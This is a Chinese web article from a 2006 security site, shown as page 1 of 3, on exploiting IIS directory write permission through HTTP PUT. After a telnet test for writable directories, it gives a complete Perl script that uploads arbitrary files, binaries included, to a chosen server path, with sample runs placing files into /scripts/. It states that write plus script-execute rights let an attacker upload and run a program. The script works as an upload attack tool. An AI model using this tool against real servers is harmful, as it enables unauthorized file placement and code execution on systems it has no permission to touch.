对iis写权限的利用-安全防范,黑客技术-iyit.net-易特网络技术！

　　通行证: 用户密码

域名空间　下载中心　 社区论坛　信息公告 my小屋

联系我们
设为首页
加入收藏

qq,asp,php,jsp,xml,sql,.net,编程程序网页图象建站经验私服




	当前位置：首页>>网络安全>>黑客技术>>正文	新版上线！[旧版]

注:打开慢时请稍等

对iis写权限的利用

http://www.iyit.net 日期：2006-10-12 17:34:36 来源：点击：

【参加讨论】大家可能看过《远程分析iis设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析iis设置》文章对iis写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

put /dir/my_file.txt http/1.1
host: iis-server
content-length: 10

　　这时服务器会返回一个100( 继续)的信息：

http/1.1 100 continue
server: microsoft-iis/5.0
date: thu, 28 feb 2002 15:56:00 gmt

　　接着，我们输入10个字母：

aaaaaaaaaa

　　送出这个请求后，看服务器的返回信息，如果是一个 201 created响应：

http/1.1 201 created
server: microsoft-iis/5.0
date: thu, 28 feb 2002 15:56:08 gmt
location: http://iis-server/dir/my_file.txt
content-length: 0
allow: options, trace, get, head, delete, put, copy, move, propfind,
proppatch, search, lock, unlock

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

put /dir/my_file.txt http/1.1
host: iis-server
content-length: 10

　　put：请求服务器将附件的实体储存在提供的请求url处，如果该请求url指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求url没有指向现存的资源，该url将被该请求的用户代理定义成为一个新的资源，原始服务器将用该url产生这个资源。
　　host：是http请求的发送地址
　　content-length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

#!/usr/bin/perl
use io::socket;
$argc = @argv;

if ($argc != 4)
{
　　print "usage:$0 127.0.0.1 80 kaka.exe /scripts/file.exe\n";
　　exit;
}
$host = @argv[0];
$port = @argv[1];
$file = @argv[2];
$path = @argv[3];

@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes\n";

my $sock = io::socket::inet->new(proto =>"tcp",
peeraddr =>$host,
peerport =>$port) || die "sorry! could not connect to $host \n";
print $sock "put $path http/1.1\n";
print $sock "host: $host\n";
print $sock "content-length: $size\n\n"; #sock连接

open(file,"$file");
binmode(file); #用2进制打开文件

while (read(file,$char,1024)) { #读取文件数据上传
　　print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
　　print "upfile succeed!!!" ; #成功显示
}
else{
　　print "upfile faile!!!\n\n";
　　print @req;#如果失败显示返回错误
}
close $sock;
close file;

　　下面我们测试下：

c:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile succeed!!!

c:\inetpub\scripts>dir kaka.txt
驱动器 c 中的卷没有标签。
卷的序列号是 3cd1-479e

c:\inetpub\scripts 的目录

2004-05-05 00:37 14 kaka.txt
1 个文件 14 字节
0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

c:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /scripts/perl.exe
perl.exe size is 20535 bytes
please wait...

本新闻共3页,当前在第1页 1 2 3

编辑：　[发送给好友] [打印本页] [关闭窗口] [返回顶部]
上一篇：让你的密码成为黑客的“耻辱”
下一篇：入侵检测(id)faq
转载请注明来源：www.iyit.net
特别声明： 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员，我们尽快予以更正。

　相关文章

教你如何检测电脑上的间谍软件	巧用系统控制台删除死顽固病毒	如何正确手工剿灭qq广告弹出的木马程序
入侵检测(id)faq	黑客程序“蓝色药丸” 专对付vista系统	让你的密码成为黑客的“耻辱”
使用身份验证来禁止内部用户上网	win powershell遭遇病毒最好升级软件	教你封杀fso躲避fso木马的侵扰
病毒肆虐情人节七夕谨防中招电子玫瑰	警惕木马伪装成mozilla firefox扩展	奇虎联手卡巴斯基推出个人免费杀毒软件
制服流氓：27种恶意软件安装卸载实录	黑客口述：入侵adsl，就这么简单	入侵中国某大型商业网站服务器全记录
2006上半年十大病毒排行灰鸽子成毒王	irc波特病毒出变种黑客可远程控制电脑	流氓软件拉msn用户征婚伪装好友发邀请
危险无处不在 html标签带来的安全隐患	加强安全防范精通批处理完整教程	有孚网络谈服务器安全防范
网络安全防范的十个戒律	安全防范linux嗅探器	网络病毒安全防范诀窍分享

推荐新闻

微软winxp sp3再次跳票推至08年发布

google苹果合作浏览器防恶意网站

微软操作系统实现开源？

网管应当如何管理windows操作系统？

让windows xp系统锁定期间拒绝关机

windowsvista中文版11月30日正式发布

合并vcd片断、快速删除文件夹--dos命令

qq2006 beta3隆重发布实用功能一一奉

美国微软总部相中重庆15岁网络奇才(图

qq号码激活的常见问题及案例分析

sql server安装文件挂起错误解决办法

三分钟让你的系统变处女：acronis tru

让windows xp系统锁定期间拒绝关机

windowsvista中文版11月30日正式发布

google优化网站管理员指导方针

hilltop算法- 探索google排名新算法

	copyrights © 2004-2006 iyit.net all rights reserved. 网站合作、广告联系qq:147007642、466949678
	易特网络技术冀icp备05011851号		浏览器不支持嵌入式框架，或被配置为不显示嵌入式框架。